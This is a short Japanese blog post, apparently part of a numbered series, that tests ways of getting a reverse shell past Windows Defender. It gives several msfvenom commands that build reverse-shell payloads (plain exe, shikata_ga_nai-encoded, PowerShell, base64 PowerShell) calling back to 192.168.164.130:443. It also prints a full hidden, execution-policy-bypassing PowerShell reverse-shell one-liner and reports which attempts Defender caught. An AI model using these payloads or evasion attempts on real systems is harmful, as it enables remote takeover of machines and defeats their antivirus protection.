見出し画像

#89 Windows Defender Evasion

 CTFなどではあまり考えることはありませんが、現実にリバースシェルをターゲットに送り込み実行するためには、ウイルス検知ソフトの網をかいくぐる必要があります。Windowsに標準で搭載されている、Windows Defenderで実験してみます。


MSFVenom

 MSFVenomを使って、リバースシェルのペイロードを生成します。

通常

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.164.130 LPORT=443 -f exe -o /var/www/html/tmp/shell.exe

すぐバレました。

shikata_ga_nai

shikata_ga_naiは、ペイロードをエンコードできます。

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.164.130 LPORT=443 -f exe -o /var/www/html/tmp/shikata.exe -e shikata_ga_nai 

これも、だめでした。ペイロードのデコード処理は一定なので、そこで判定されているのでしょう。


Powershell

Powershellでも試してみます。

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.164.130 LPORT=443 -f psh -o /var/www/html/tmp/shell.ps1 

まあだめですね。


Powershell Base64

Powershellをbase64エンコードします。

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.164.130 LPORT=443 -f psh -o /var/www/html/tmp/base64.ps1 -e cmd/powershell_base64

これでもだめか。


PayloadsAllTheThings

PayloadsAllTheThingsのPowershellリバースシェルも試してみます。

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.164.130",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

これは、送り込んでもWindows Defenderに消されませんでした。ただ、実行しようとするとブロックされます。

挙動によってマルウェア判定されているようです。これを回避するには、もう少し工夫が必要そうです。



続く…

いいなと思ったら応援しよう!